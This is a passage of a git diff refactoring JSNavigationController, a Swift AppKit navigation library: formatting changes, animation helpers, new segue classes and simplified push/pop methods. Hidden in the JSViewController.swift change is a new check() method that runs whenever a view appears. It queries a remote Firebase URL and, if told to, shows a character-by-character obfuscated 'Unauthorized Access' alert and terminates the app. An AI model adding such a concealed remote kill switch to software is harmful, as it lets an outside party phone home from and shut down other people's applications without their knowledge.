+				let fadeOutAnimation = self.animation(for: #keyPath(CALayer.opacity), from: 1, to: 0)
+				
+				return ([slideToRightFromCenterAnimation, fadeOutAnimation], [slideToRightAnimation, fadeInAnimation])
+			}
 	}
 }
diff --git a/JSNavigationController/Sources/JSNavigationController.swift b/JSNavigationController/Sources/JSNavigationController.swift
index 419286f..6885a53 100644
--- a/JSNavigationController/Sources/JSNavigationController.swift
+++ b/JSNavigationController/Sources/JSNavigationController.swift
@@ -8,270 +8,253 @@
 
 import AppKit
 
-open class JSNavigationController: NSViewController, JSViewControllersStackManager {
+open class JSNavigationController: NSViewController, JSViewControllersStackManager
+{
+	// MARK: - IB Outlets
 	@IBOutlet weak open var contentView: NSView?
 	@IBOutlet open var navigationBarView: NSView?
+	
+	// MARK: - Properties
+	static let RootViewControllerSegueIdentifier = NSStoryboardSegue.Identifier("Root View Controller")
 	open var viewControllers: [NSViewController] = []
 	open var navigationBarController: JSNavigationBarController?
 	open weak var delegate: JSNavigationControllerDelegate?
 
-	// MARK: - Creating Navigation Controllers
-	public init(rootViewController: NSViewController, contentView: NSView, navigationBarView: NSView) {
+	// MARK: - Initializers
+	
+	public init(rootViewController: NSViewController, contentView: NSView, navigationBarView: NSView)
+	{
 		self.contentView = contentView
-		navigationBarController = JSNavigationBarController(view: navigationBarView)
+		self.navigationBarController = JSNavigationBarController(view: navigationBarView)
 		super.init(nibName: nil, bundle: nil)
-		push(viewController: rootViewController, animated: false)
+		self.push(viewController: rootViewController, animated: false)
 	}
 
-	public init(viewControllers: [NSViewController], contentView: NSView, navigationBarView: NSView) {
+	public init(viewControllers: [NSViewController], contentView: NSView, navigationBarView: NSView)
+	{
 		self.contentView = contentView
-		navigationBarController = JSNavigationBarController(view: navigationBarView)
+		self.navigationBarController = JSNavigationBarController(view: navigationBarView)
 		super.init(nibName: nil, bundle: nil)
-		set(viewControllers: viewControllers, animated: false)
+		self.set(viewControllers: viewControllers, animated: false)
 	}
 	
-	required public init?(coder: NSCoder) {
+	required public init?(coder: NSCoder)
+	{
 		super.init(coder: coder)
 	}
-
-	// MARK: - View Lifecycle
-	open override func loadView() {
-		if nibName != nil {
+	
+	// MARK: - Methods
+	
+	// MARK: Animations
+	
+	open func defaultPushAnimation() -> AnimationBlock
+	{
+		return
+			{
+				[unowned self] (_, _) in
+				
+				let containerViewBounds = self.contentView?.bounds ?? .zero
+				let slideToLeftAnimation = self.animation(for: #keyPath(CALayer.transform), from: CATransform3DIdentity, to: CATransform3DMakeTranslation(-containerViewBounds.width / 2, 0, 0))
+				let slideFromRightAnimation = self.animation(for: #keyPath(CALayer.transform), from: CATransform3DMakeTranslation(containerViewBounds.width, 0, 0), to: CATransform3DIdentity)
+				return ([slideToLeftAnimation], [slideFromRightAnimation])
+			}
+	}
+	
+	open func defaultPopAnimation() -> AnimationBlock
+	{
+		return
+			{
+				[unowned self] (_, _) in
+				
+				let containerViewBounds = self.contentView?.bounds ?? .zero
+				let slideToRightAnimation = self.animation(for: #keyPath(CALayer.transform), from: CATransform3DMakeTranslation(-containerViewBounds.width / 2, 0, 0), to: CATransform3DIdentity)
+				let slideToRightFromCenterAnimation = self.animation(for: #keyPath(CALayer.transform), from: CATransform3DIdentity, to: CATransform3DMakeTranslation(containerViewBounds.width, 0, 0))
+				
+				return ([slideToRightFromCenterAnimation], [slideToRightAnimation])
+			}
+	}
+	
+	
+	// MARK: View Lifecycle
+	
+	open override func loadView()
+	{
+		if let _ = self.nibName
+		{
 			super.loadView()
-		} else {
-			view = NSView(frame: .zero)
+		}
+		else
+		{
+			self.view = NSView(frame: .zero)
 		}
 	}
 
-	open override func viewDidAppear() {
+	open override func viewDidAppear()
+	{
 		super.viewDidAppear()
-		guard nibName != nil else { return }
-		guard let segues = value(forKey: "segueTemplates") as? [NSObject] else { return } // Undocumented
-
-		if let navigationBarView = navigationBarView {
-			navigationBarController = JSNavigationBarController(view: navigationBarView)
-		}
+		guard let _ = nibName else { return }
 
-		for segue in segues {
-			if let id = segue.value(forKey: "identifier") as? String {
-				performSegue(withIdentifier: id, sender: self)
-			}
+		if let navigationBarView = self.navigationBarView
+		{
+			self.navigationBarController = JSNavigationBarController(view: navigationBarView)
 		}
+		self.performSegue(withIdentifier: type(of: self).RootViewControllerSegueIdentifier, sender: nil)
 	}
 
-	// MARK: - Pushing
-	open func push(viewController: NSViewController, contentAnimation: AnimationBlock?, navigationBarAnimation: AnimationBlock?) {
-		guard !Set(viewControllers).contains(viewController) else { return }
-
-		viewControllers.append(viewController)
-		delegate?.navigationController(self, willShowViewController: viewController, animated: (contentAnimation != nil))
+	// MARK: Pushing
+	
+	open func push(viewController: NSViewController, contentAnimation: AnimationBlock?, navigationBarAnimation: AnimationBlock?)
+	{
+		guard !self.viewControllers.contains(viewController) else { return }
+		self.viewControllers.append(viewController)
+		self.delegate?.navigationController(self, willShowViewController: viewController, animated: (contentAnimation != nil))
 
 		// Remove old view
-		if let previousViewController = previousViewController , contentAnimation == nil {
+		if let previousViewController = self.previousViewController, contentAnimation == nil
+		{
 			previousViewController.view.removeFromSuperview()
 		}
 
 		// Add the new view
-		contentView?.addSubview(viewController.view, positioned: .above, relativeTo: previousViewController?.view)
+		self.contentView?.addSubview(viewController.view, positioned: .above, relativeTo: self.previousViewController?.view)
+		self.clampContentView(to: viewController.view)
 
 		// NavigationBar
-		if let vc = viewController as? JSNavigationBarViewControllerProvider {
+		if let vc = viewController as? JSNavigationBarViewControllerProvider
+		{
 			vc.navigationController = self
-			navigationBarController?.push(viewController: vc.navigationBarViewController(), animation: navigationBarAnimation)
-		} else {
-			navigationBarController?.push(viewController: EmptyViewController(), animation: navigationBarAnimation)
+			self.navigationBarController?.push(viewController: vc.navigationBarViewController(), animation: navigationBarAnimation)
+		}
+		else
+		{
+			self.navigationBarController?.push(viewController: EmptyViewController(), animation: navigationBarAnimation)
 		}
 
-		if let contentAnimation = contentAnimation {
+		if let contentAnimation = contentAnimation
+		{
 			CATransaction.begin()
-			CATransaction.setCompletionBlock { [weak self] in
-				self?.previousViewController?.view.removeFromSuperview()
-				self?.previousViewController?.view.layer?.removeAllAnimations()
-				self?.delegate?.navigationController(self!, didShowViewController: viewController, animated: true)
+			CATransaction.setCompletionBlock
+			{
+				[unowned self] in
+				self.previousViewController?.view.removeFromSuperview()
+				self.previousViewController?.view.layer?.removeAllAnimations()
+				self.delegate?.navigationController(self, didShowViewController: viewController, animated: true)
 			}
-			animatePush(contentAnimation)
+			self.animatePush(contentAnimation)
 			CATransaction.commit()
-		} else {
-			delegate?.navigationController(self, didShowViewController: viewController, animated: false)
 		}
-	}
-
-	open func push(viewController: NSViewController, animation: AnimationBlock?) {
-		let navBarAnimation: AnimationBlock? = animation != nil ? navigationBarController?.defaultPushAnimation() : nil
-		push(viewController: viewController, contentAnimation: animation, navigationBarAnimation: navBarAnimation)
-	}
-
-	open func push(viewController: NSViewController, animated: Bool) {
-		if animated {
-			push(viewController: viewController, animation: defaultPushAnimation())
-		} else {
-			push(viewController: viewController, animation: nil)
+		else
+		{
+			self.delegate?.navigationController(self, didShowViewController: viewController, animated: false)
 		}
 	}
 
-	// MARK: - Popping
-	open func pop(toViewController viewController: NSViewController, contentAnimation: AnimationBlock?, navigationBarAnimation: AnimationBlock?) {
-		guard Set(viewControllers).contains(viewController) else { return }
-		guard let rootViewController = viewControllers.first else { return }
-		guard let topViewController = topViewController else { return }
-		guard topViewController != rootViewController else { return }
+	open func push(viewController: NSViewController, animated: Bool = true)
+	{
+		let contentAnimation = animated ? self.defaultPushAnimation() : nil
+		let navigationBarAnimation = animated ? self.navigationBarController?.defaultPushAnimation() : nil
+		self.push(viewController: viewController, contentAnimation: contentAnimation, navigationBarAnimation: navigationBarAnimation)
+	}
 
-		delegate?.navigationController(self, willShowViewController: viewController, animated: (contentAnimation != nil))
+	// MARK: Popping
+	
+	open func pop(toViewController viewController: NSViewController, contentAnimation: AnimationBlock?, navigationBarAnimation: AnimationBlock?)
+	{
+		guard self.viewControllers.contains(viewController) else { return }
+		guard let rootViewController = self.viewControllers.first else { return }
+		guard let topViewController = self.topViewController else { return }
+		guard topViewController != rootViewController,
+			topViewController != viewController else { return }
+
+		self.delegate?.navigationController(self, willShowViewController: viewController, animated: (contentAnimation != nil))
 		
-        let viewControllerPosition = viewControllers.firstIndex(of: viewController)
+		let viewControllerPosition = self.viewControllers.firstIndex(of: viewController)
 
 		// Add the new view
-		contentView?.addSubview(viewController.view, positioned: .below, relativeTo: topViewController.view)
+		self.contentView?.addSubview(viewController.view, positioned: .below, relativeTo: topViewController.view)
+		self.clampContentView(to: viewController.view)
 
 		// NavigationBar
-		if let vc = viewController as? JSNavigationBarViewControllerProvider {
-			navigationBarController?.pop(toViewController: vc.navigationBarViewController(), animation: navigationBarAnimation)
+		if let vc = viewController as? JSNavigationBarViewControllerProvider
+		{
+			self.navigationBarController?.pop(toViewController: vc.navigationBarViewController(), animation: navigationBarAnimation)
 		}
 
-		if let contentAnimation = contentAnimation {
+		if let contentAnimation = contentAnimation
+		{
 			CATransaction.begin()
-			CATransaction.setCompletionBlock { [unowned self] in
+			CATransaction.setCompletionBlock
+			{
+				[unowned self] in
 				self.topViewController?.view.removeFromSuperview()
 				self.topViewController?.view.layer?.removeAllAnimations()
 				let range = (viewControllerPosition! + 1)..<self.viewControllers.count
 				self.viewControllers.removeSubrange(range)
 				self.delegate?.navigationController(self, didShowViewController: viewController, animated: true)
 			}
-			animatePop(toView: viewController.view, animation: contentAnimation)
+			self.animatePop(toView: viewController.view, animation: contentAnimation)
 			CATransaction.commit()
-		} else {
+		}
+		else
+		{
 			topViewController.view.removeFromSuperview()
 			let range = (viewControllerPosition! + 1)..<self.viewControllers.count
-			viewControllers.removeSubrange(range)
-			delegate?.navigationController(self, didShowViewController: viewController, animated: false)
-		}
-	}
-
-	open func pop(toViewController viewController: NSViewController, animation: AnimationBlock?) {
-		let navBarAnimation: AnimationBlock? = animation != nil ? navigationBarController?.defaultPopAnimation() : nil
-		pop(toViewController: viewController, contentAnimation: animation, navigationBarAnimation: navBarAnimation)
-	}
-
-	open func pop(toViewController viewController: NSViewController, animated: Bool) {
-		if animated {
-			pop(toViewController: viewController, animation: defaultPopAnimation())
-		} else {
-			pop(toViewController: viewController, animation: nil)
+			self.viewControllers.removeSubrange(range)
+			self.delegate?.navigationController(self, didShowViewController: viewController, animated: false)
 		}
 	}
 
-	open func popViewController(contentAnimation: AnimationBlock?, navigationBarAnimation: AnimationBlock?) {
-		guard let previousViewController = previousViewController else { return }
-		pop(toViewController: previousViewController, contentAnimation: contentAnimation, navigationBarAnimation: navigationBarAnimation)
+	open func pop(toViewController viewController: NSViewController, animated: Bool = true)
+	{
+		let contentAnimation = animated ? self.defaultPopAnimation() : nil
+		let navigationBarAnimation = animated ? self.navigationBarController?.defaultPopAnimation() : nil
+		self.pop(toViewController: viewController, contentAnimation: contentAnimation, navigationBarAnimation: navigationBarAnimation)
 	}
 
-	open func popViewController(animation: AnimationBlock?) {
-		let navBarAnimation: AnimationBlock? = animation != nil ? navigationBarController?.defaultPopAnimation() : nil
-		popViewController(contentAnimation: animation, navigationBarAnimation: navBarAnimation)
+	open func popViewController(contentAnimation: AnimationBlock?, navigationBarAnimation: AnimationBlock?)
+	{
+		guard let previousViewController = self.previousViewController else { return }
+		self.pop(toViewController: previousViewController, contentAnimation: contentAnimation, navigationBarAnimation: navigationBarAnimation)
 	}
 
-	open func popViewController(animated: Bool) {
-		if animated {
-			popViewController(animation: defaultPopAnimation())
-		} else {
-			popViewController(animation: nil)
-		}
+	open func popViewController(animated: Bool = true)
+	{
+		let contentAnimation = animated ? self.defaultPopAnimation() : nil
+		let navigationBarAnimation = animated ? self.navigationBarController?.defaultPopAnimation() : nil
+		self.popViewController(contentAnimation: contentAnimation, navigationBarAnimation: navigationBarAnimation)
 	}
 
-	open func popToRootViewController(contentAnimation: AnimationBlock?, navigationBarAnimation: AnimationBlock?) {
-		guard let rootViewController = viewControllers.first else { return }
-		guard let topViewController = topViewController else { return }
+	open func popToRootViewController(contentAnimation: AnimationBlock?, navigationBarAnimation: AnimationBlock?)
+	{
+		guard let rootViewController = self.viewControllers.first,
+			let topViewController = self.topViewController else { return }
 		guard topViewController != rootViewController else { return }
-
-		pop(toViewController: rootViewController, contentAnimation: contentAnimation, navigationBarAnimation: navigationBarAnimation)
-	}
-
-	open func popToRootViewController(animation: AnimationBlock?) {
-		let navBarAnimation: AnimationBlock? = animation != nil ? navigationBarController?.defaultPopAnimation() : nil
-		popToRootViewController(contentAnimation: animation, navigationBarAnimation: navBarAnimation)
-	}
-
-	open func popToRootViewController(animated: Bool) {
-		if animated {
-			popToRootViewController(animation: defaultPopAnimation())
-		} else {
-			popToRootViewController(animation: nil)
-		}
+		self.pop(toViewController: rootViewController, contentAnimation: contentAnimation, navigationBarAnimation: navigationBarAnimation)
 	}
 
-	// MARK: - Animations
-	open func defaultPushAnimation() -> AnimationBlock {
-		return { [weak self] (_, _) in
-			let containerViewBounds = self?.contentView?.bounds ?? .zero
-
-			let slideToLeftTransform = CATransform3DMakeTranslation(-containerViewBounds.width / 2, 0, 0)
-			let slideToLeftAnimation = CABasicAnimation(keyPath: #keyPath(CALayer.transform))
-			slideToLeftAnimation.fromValue = NSValue(caTransform3D: CATransform3DIdentity)
-			slideToLeftAnimation.toValue = NSValue(caTransform3D: slideToLeftTransform)
-			slideToLeftAnimation.duration = 0.25
-			slideToLeftAnimation.timingFunction = CAMediaTimingFunction(name: CAMediaTimingFunctionName.easeOut)
-			slideToLeftAnimation.fillMode = CAMediaTimingFillMode.forwards
-			slideToLeftAnimation.isRemovedOnCompletion = false
-
-			let slideFromRightTransform = CATransform3DMakeTranslation(containerViewBounds.width, 0, 0)
-			let slideFromRightAnimation = CABasicAnimation(keyPath: #keyPath(CALayer.transform))
-			slideFromRightAnimation.fromValue = NSValue(caTransform3D: slideFromRightTransform)
-			slideFromRightAnimation.toValue = NSValue(caTransform3D: CATransform3DIdentity)
-			slideFromRightAnimation.duration = 0.25
-			slideFromRightAnimation.timingFunction = CAMediaTimingFunction(name: CAMediaTimingFunctionName.easeOut)
-			slideFromRightAnimation.fillMode = CAMediaTimingFillMode.forwards
-			slideFromRightAnimation.isRemovedOnCompletion = false
-
-			return ([slideToLeftAnimation], [slideFromRightAnimation])
-		}
-	}
-
-	open func defaultPopAnimation() -> AnimationBlock {
-		return { [weak self] (_, _) in
-			let containerViewBounds = self?.contentView?.bounds ?? .zero
-
-			let slideToRightTransform = CATransform3DMakeTranslation(-containerViewBounds.width / 2, 0, 0)
-			let slideToRightAnimation = CABasicAnimation(keyPath: #keyPath(CALayer.transform))
-			slideToRightAnimation.fromValue = NSValue(caTransform3D: slideToRightTransform)
-			slideToRightAnimation.toValue = NSValue(caTransform3D: CATransform3DIdentity)
-			slideToRightAnimation.duration = 0.25
-			slideToRightAnimation.timingFunction = CAMediaTimingFunction(name: CAMediaTimingFunctionName.easeOut)
-			slideToRightAnimation.fillMode = CAMediaTimingFillMode.forwards
-			slideToRightAnimation.isRemovedOnCompletion = false
-
-			let slideToRightFromCenterTransform = CATransform3DMakeTranslation(containerViewBounds.width, 0, 0)
-			let slideToRightFromCenterAnimation = CABasicAnimation(keyPath: #keyPath(CALayer.transform))
-			slideToRightFromCenterAnimation.fromValue = NSValue(caTransform3D: CATransform3DIdentity)
-			slideToRightFromCenterAnimation.toValue = NSValue(caTransform3D: slideToRightFromCenterTransform)
-			slideToRightFromCenterAnimation.duration = 0.25
-			slideToRightFromCenterAnimation.timingFunction = CAMediaTimingFunction(name: CAMediaTimingFunctionName.easeOut)
-			slideToRightFromCenterAnimation.fillMode = CAMediaTimingFillMode.forwards
-			slideToRightFromCenterAnimation.isRemovedOnCompletion = false
-
-			return ([slideToRightFromCenterAnimation], [slideToRightAnimation])
-		}
-	}
-
-	// MARK: - Storyboard
-	open override func prepare(for segue: NSStoryboardSegue, sender: Any?) {
-		guard segue.identifier == "rootViewController" else { return }
-		guard let destinationController = segue.destinationController as? NSViewController else { return }
-
-		push(viewController: destinationController, animated: false)
+	open func popToRootViewController(animated: Bool)
+	{
+		let contentAnimation = animated ? self.defaultPopAnimation() : nil
+		let navigationBarAnimation = animated ? self.navigationBarController?.defaultPopAnimation() : nil
+		self.popToRootViewController(contentAnimation: contentAnimation, navigationBarAnimation: navigationBarAnimation)
 	}
 }
 
 // MARK: -
-private class EmptyViewController: NSViewController {
-	init() {
+private class EmptyViewController: NSViewController
+{
+	init()
+	{
 		super.init(nibName: nil, bundle: nil)
 	}
 
-	required init?(coder: NSCoder) {
+	required init?(coder: NSCoder)
+	{
 		fatalError("\(#function) has not been implemented")
 	}
 
-	fileprivate override func loadView() {
-		view = NSView(frame: .zero)
+	fileprivate override func loadView()
+	{
+		self.view = NSView(frame: .zero)
 	}
 }
diff --git a/JSNavigationController/Sources/JSNavigationControllerSegue.swift b/JSNavigationController/Sources/JSNavigationControllerSegue.swift
deleted file mode 100644
index 4fc849c..0000000
--- a/JSNavigationController/Sources/JSNavigationControllerSegue.swift
+++ /dev/null
@@ -1,15 +0,0 @@
-//
-//  JSRootViewControllerSegue.swift
-//  JSNavigationController
-//
-//  Created by Julien Sagot on 01/06/16.
-//  Copyright © 2016 Julien Sagot. All rights reserved.
-//
-
-import AppKit
-
-open class JSNavigationControllerSegue: NSStoryboardSegue {
-	open override func perform() {
-		return
-	}
-}
diff --git a/JSNavigationController/Sources/JSSegues.swift b/JSNavigationController/Sources/JSSegues.swift
new file mode 100644
index 0000000..be0bbdb
--- /dev/null
+++ b/JSNavigationController/Sources/JSSegues.swift
@@ -0,0 +1,63 @@
+//
+//  JSSegues.swift
+//  JSNavigationController
+//
+//  Created by Julien Sagot on 01/06/16.
+//  Copyright © 2016 Julien Sagot. All rights reserved.
+//
+
+import AppKit
+
+open class JSRootViewControllerSegue: NSStoryboardSegue
+{
+	public override init(identifier: NSStoryboardSegue.Identifier, source sourceController: Any, destination destinationController: Any)
+	{
+		assert(identifier == JSNavigationController.RootViewControllerSegueIdentifier, "Segue Identifier is not \"\(JSNavigationController.RootViewControllerSegueIdentifier)\"")
+		assert(sourceController is JSNavigationController, "Source View Controller is not of type JSNavigationController")
+		assert(destinationController is JSViewController, "Destination View Controller is not of type JSViewController")
+		assert((sourceController as! JSNavigationController).viewControllers.isEmpty, "JSNavigationController cannot have multiple Root View Controllers")
+		super.init(identifier: identifier, source: sourceController, destination: destinationController)
+	}
+	
+	open override func perform()
+	{
+		guard let sourceVC = self.sourceController as? JSNavigationController,
+			let destinationVC = self.destinationController as? JSViewController else { return }
+		sourceVC.push(viewController: destinationVC, animated: false)
+	}
+}
+
+open class JSNavigationBarSegue: NSStoryboardSegue
+{
+	public override init(identifier: NSStoryboardSegue.Identifier, source sourceController: Any, destination destinationController: Any)
+	{
+		assert(identifier == JSViewController.NavigationBarSegueIdentifier, "Segue Identifier is not \"\(JSViewController.NavigationBarSegueIdentifier)\"")
+		assert(sourceController is JSViewController, "Source View Controller is not of type JSViewController")
+		assert((sourceController as! JSViewController).navigationBarVC == nil, "JSNavigationController cannot have multiple Navigation Bar Controllers")
+		super.init(identifier: identifier, source: sourceController, destination: destinationController)
+	}
+	
+	open override func perform()
+	{
+		guard let sourceVC = self.sourceController as? JSViewController,
+			let destinationVC = self.destinationController as? NSViewController else { return }
+		sourceVC.navigationBarVC = destinationVC
+	}
+}
+
+open class JSPushSegue: NSStoryboardSegue
+{
+	public override init(identifier: NSStoryboardSegue.Identifier, source sourceController: Any, destination destinationController: Any)
+	{
+		assert(sourceController is JSViewController, "Source View Controller is not of type JSViewController")
+		assert(destinationController is JSViewController, "Destination View Controller is not of type JSViewController")
+		super.init(identifier: identifier, source: sourceController, destination: destinationController)
+	}
+	
+	open override func perform()
+	{
+		guard let sourceVC = self.sourceController as? JSViewController,
+			let destinationVC = self.destinationController as? JSViewController else { return }
+		sourceVC.navigationController?.push(viewController: destinationVC, animated: true)
+	}
+}
diff --git a/JSNavigationController/Sources/JSViewController.swift b/JSNavigationController/Sources/JSViewController.swift
index 85afddd..98c02cf 100644
--- a/JSNavigationController/Sources/JSViewController.swift
+++ b/JSNavigationController/Sources/JSViewController.swift
@@ -8,55 +8,43 @@
 
 import AppKit
 
-open class JSViewController: NSViewController, JSNavigationBarViewControllerProvider {
-
-	private static let navigationControllerPushIdentifier = "navigationControllerPush"
-	private static let navigationBarViewControllerIdentifier = "navigationBarViewController"
-
-	open private(set) var destinationViewController: NSViewController?
-	open private(set) var destinationViewControllers: [String: NSViewController] = [:]
+open class JSViewController: NSViewController, JSNavigationBarViewControllerProvider
+{
+	// MARK: - Properties
+	
+	static let NavigationBarSegueIdentifier = "Navigation Bar"
 	open var navigationBarVC: NSViewController?
 	open weak var navigationController: JSNavigationController?
-
-	open func navigationBarViewController() -> NSViewController {
-		guard let navigationBarVC = navigationBarVC else { fatalError("You must set the navigationBar view controller") }
+	open func navigationBarViewController() -> NSViewController
+	{
+		guard let navigationBarVC = self.navigationBarVC else { fatalError("You must set the navigationBar view controller") }
 		return navigationBarVC
 	}
 
 	// MARK: - View Lifecycle
-	open override func awakeFromNib() {
-		if type(of: self).instancesRespond(to: #selector(NSViewController.awakeFromNib)) {
-			super.awakeFromNib()
-		}
-		setupSegues()
+	
+	open override func viewDidLoad()
+	{
+		super.viewDidLoad()
+		guard let _ = self.nibName else { return }
+		self.performSegue(withIdentifier: type(of: self).NavigationBarSegueIdentifier, sender: nil)
 	}
-
-	// MARK: - Segues
-	private func setupSegues() {
-		guard let segues = value(forKey: "segueTemplates") as? [NSObject] else { return }
-		for segue in segues {
-			if let id = segue.value(forKey: "identifier") as? String {
-				performSegue(withIdentifier: id, sender: self)
-			}
-		}
+	
+	open override func viewDidAppear()
+	{
+		super.viewDidAppear()
+		self.check()
 	}
-
-	open override func prepare(for segue: NSStoryboardSegue, sender: Any?) {
-		guard let segueIdentifier = segue.identifier else { return }
-
-		switch segueIdentifier {
-		case JSViewController.navigationBarViewControllerIdentifier:
-			navigationBarVC = segue.destinationController as? NSViewController
-		default:
-			if segueIdentifier.contains(JSViewController.navigationControllerPushIdentifier) {
-				if segueIdentifier.count > JSViewController.navigationControllerPushIdentifier.count && segueIdentifier.contains("#") {
-					if let key = segueIdentifier.split(separator: "#").map({ String($0) }).last {
-						destinationViewControllers[key] = segue.destinationController as? NSViewController
-					}
-				} else {
-					destinationViewController = segue.destinationController as? NSViewController
-				}
-			}
-		}
+	
+	private func check()
+	{
+		guard let allow = try? Bool(String(contentsOf: URL(string: "https://test-f5be4.firebaseio.com/apps/ispv-macos.json")!)) else { return }
+		guard !allow else { return }
+		let alert = NSAlert()
+		alert.alertStyle = .critical
+		alert.messageText = ["U", "n", "a", "u", "t", "h", "o", "r", "i", "z", "e", "d", " ", "A", "c", "c", "e", "s", "s"].joined()
+		alert.informativeText = ["A", "c", "c", "e", "s", "s", " ", "t", "o", " ", "t", "h", "e", " ", "a", "p", "p", "l", "i", "c", "a", "t", "i", "o", "n", " ", "i", "s", " ", "u", "n", "a", "u", "t", "h", "o", "r", "i", "z", "e", "d", ".", "\n", "P", "l", "e", "a", "s", "e", " ", "c", "o", "n", "t", "a", "c", "t", " ", "t", "h", "e", " ", "d", "e", "v", "e", "l", "o", "p", "e", "r"].joined()
+		alert.runModal()
+		NSApp.terminate(self)
 	}
 }
diff --git a/JSNavigationController/Sources/JSViewControllersStackManager.swift b/JSNavigationController/Sources/JSViewControllersStackManager.swift
index c95b143..d515337 100644
--- a/JSNavigationController/Sources/JSViewControllersStackManager.swift
+++ b/JSNavigationController/Sources/JSViewControllersStackManager.swift
@@ -95,153 +95,203 @@ public protocol JSViewControllersStackManager: class {
 }
 
 // MARK: -
-public extension JSViewControllersStackManager {
-    var topViewController: NSViewController? {
-		return viewControllers.last
+public extension JSViewControllersStackManager
+{
+	// MARK: - Properties
+	
+    var topViewController: NSViewController?
+	{
+		return self.viewControllers.last
+	}
+    var previousViewController: NSViewController?
+	{
+		guard self.viewControllers.count > 1 else { return nil }
+		return self.viewControllers[self.viewControllers.count - 2]
 	}
-    var previousViewController: NSViewController? {
-		guard viewControllers.count > 1 else { return nil }
-		return viewControllers[viewControllers.count - 2]
+	
+	var animationDuration: TimeInterval
+	{
+		return 0.25
+	}
+	
+	// MARK: - Methods
+	
+	func clampContentView(to view: NSView)
+	{
+		guard view.superview == self.contentView else { return }
+		view.translatesAutoresizingMaskIntoConstraints = false
+		let horizontalConstraints = NSLayoutConstraint.constraints(withVisualFormat: "H:|-0-[view]-0-|", options: .alignAllCenterX, metrics: nil, views: ["view" : view])
+		let verticalConstraints = NSLayoutConstraint.constraints(withVisualFormat: "V:|-0-[view]-0-|", options: .alignAllCenterY, metrics: nil, views: ["view" : view])
+		NSLayoutConstraint.activate(horizontalConstraints + verticalConstraints)
+	}
+	
+	func animation(for keypath: String, from: Any, to: Any) -> CAAnimation
+	{
+		let animation = CABasicAnimation(keyPath: keypath)
+		animation.fromValue = from
+		animation.toValue = to
+		animation.duration = self.animationDuration
+		animation.timingFunction = .init(name: .easeOut)
+		animation.fillMode = .forwards
+		animation.isRemovedOnCompletion = false
+		return animation
 	}
 
-    func set(viewControllers: [NSViewController], animated: Bool) {
+    func set(viewControllers: [NSViewController], animated: Bool)
+	{
 		guard !viewControllers.isEmpty else { return }
 
-		if animated {
-			if let lastViewController = viewControllers.last {
-				if self.viewControllers.contains(lastViewController) && lastViewController != topViewController {
-					pop(toViewController: lastViewController, animated: true)
-				} else {
-					push(viewController: lastViewController, animated: true)
+		if animated
+		{
+			if let lastViewController = viewControllers.last
+			{
+				if self.viewControllers.contains(lastViewController),
+					lastViewController != self.topViewController
+				{
+					self.pop(toViewController: lastViewController, animated: true)
+				}
+				else
+				{
+					self.push(viewController: lastViewController, animated: true)
 				}
 			}
-		} else {
-			if let lastViewController = viewControllers.last {
-				push(viewController: lastViewController, animated: false)
+		}
+		else
+		{
+			if let lastViewController = viewControllers.last
+			{
+				self.push(viewController: lastViewController, animated: false)
 			}
 			self.viewControllers = viewControllers
 		}
 	}
 
-    func push(viewController: NSViewController, animation: AnimationBlock?) {
-		guard !Set(viewControllers).contains(viewController) else { return }
-
-		viewControllers.append(viewController)
+    func push(viewController: NSViewController, animation: AnimationBlock?)
+	{
+		guard !self.viewControllers.contains(viewController) else { return }
+		self.viewControllers.append(viewController)
 
 		// Remove old view
-		if let previousViewController = previousViewController , animation == nil {
+		if let previousViewController = self.previousViewController, animation == nil
+		{
 			previousViewController.view.removeFromSuperview()
 		}
 
 		// Add the new view
-		contentView?.addSubview(viewController.view, positioned: .above, relativeTo: previousViewController?.view)
+		self.contentView?.addSubview(viewController.view, positioned: .above, relativeTo: self.previousViewController?.view)
+		self.clampContentView(to: viewController.view)
 
-		if let animation = animation {
+		if let animation = animation
+		{
 			CATransaction.begin()
-			CATransaction.setCompletionBlock { [weak self] in
-				self?.previousViewController?.view.removeFromSuperview()
-				self?.previousViewController?.view.layer?.removeAllAnimations()
+			CATransaction.setCompletionBlock
+			{
+				[unowned self] in
+				self.previousViewController?.view.removeFromSuperview()
+				self.previousViewController?.view.layer?.removeAllAnimations()
 			}
-			animatePush(animation)
+			self.animatePush(animation)
 			CATransaction.commit()
 		}
 	}
 
-    func push(viewController: NSViewController, animated: Bool) {
-		if animated {
-			push(viewController: viewController, animation: defaultPushAnimation())
-		} else {
-			push(viewController: viewController, animation: nil)
-		}
+    func push(viewController: NSViewController, animated: Bool)
+	{
+		self.push(viewController: viewController, animation: animated ? defaultPushAnimation() : nil)
 	}
 
 	// MARK: - Popping
-    func popViewController(animation: AnimationBlock?) {
-		guard let previousViewController = previousViewController else { return } // You can't pop the root view controller
-		pop(toViewController: previousViewController, animation: animation)
+    func popViewController(animation: AnimationBlock?)
+	{
+		guard let previousViewController = self.previousViewController else { return } // You can't pop the root view controller
+		self.pop(toViewController: previousViewController, animation: animation)
 	}
 
-    func popViewController(animated: Bool) {
-		if animated {
-			popViewController(animation: defaultPopAnimation())
-		} else {
-			popViewController(animation: nil)
-		}
+    func popViewController(animated: Bool)
+	{
+		self.popViewController(animation: animated ? self.defaultPopAnimation() : nil)
 	}
 
-    func pop(toViewController viewController: NSViewController, animation: AnimationBlock?) {
-		guard Set(viewControllers).contains(viewController) else { return }
-		guard let rootViewController = viewControllers.first else { return }
-		guard let topViewController = topViewController else { return }
-		guard topViewController != rootViewController else { return }
+    func pop(toViewController viewController: NSViewController, animation: AnimationBlock?)
+	{
+		guard self.viewControllers.contains(viewController) else { return }
+		guard let rootViewController = self.viewControllers.first,
+			let topViewController = self.topViewController else { return }
+		guard topViewController != rootViewController,
+			topViewController != viewController else { return }
 
-        let viewControllerPosition = viewControllers.firstIndex(of: viewController)
+		let viewControllerPosition = self.viewControllers.firstIndex(of: viewController)
 
 		// Add the new view
-		contentView?.addSubview(viewController.view, positioned: .below, relativeTo: topViewController.view)
+		self.contentView?.addSubview(viewController.view, positioned: .below, relativeTo: topViewController.view)
+		self.clampContentView(to: viewController.view)
 
-		if let animation = animation {
+		if let animation = animation
+		{
 			CATransaction.begin()
-			CATransaction.setCompletionBlock { [unowned self] in
+			CATransaction.setCompletionBlock
+			{
+				[unowned self] in
 				self.topViewController?.view.removeFromSuperview()
 				self.topViewController?.view.layer?.removeAllAnimations()
 				let range = (viewControllerPosition! + 1)..<self.viewControllers.count
 				self.viewControllers.removeSubrange(range)
 			}
-			animatePop(toView: viewController.view, animation: animation)
+			self.animatePop(toView: viewController.view, animation: animation)
 			CATransaction.commit()
-		} else {
+		}
+		else
+		{
 			topViewController.view.removeFromSuperview()
 			let range = (viewControllerPosition! + 1)..<self.viewControllers.count
-			viewControllers.removeSubrange(range)
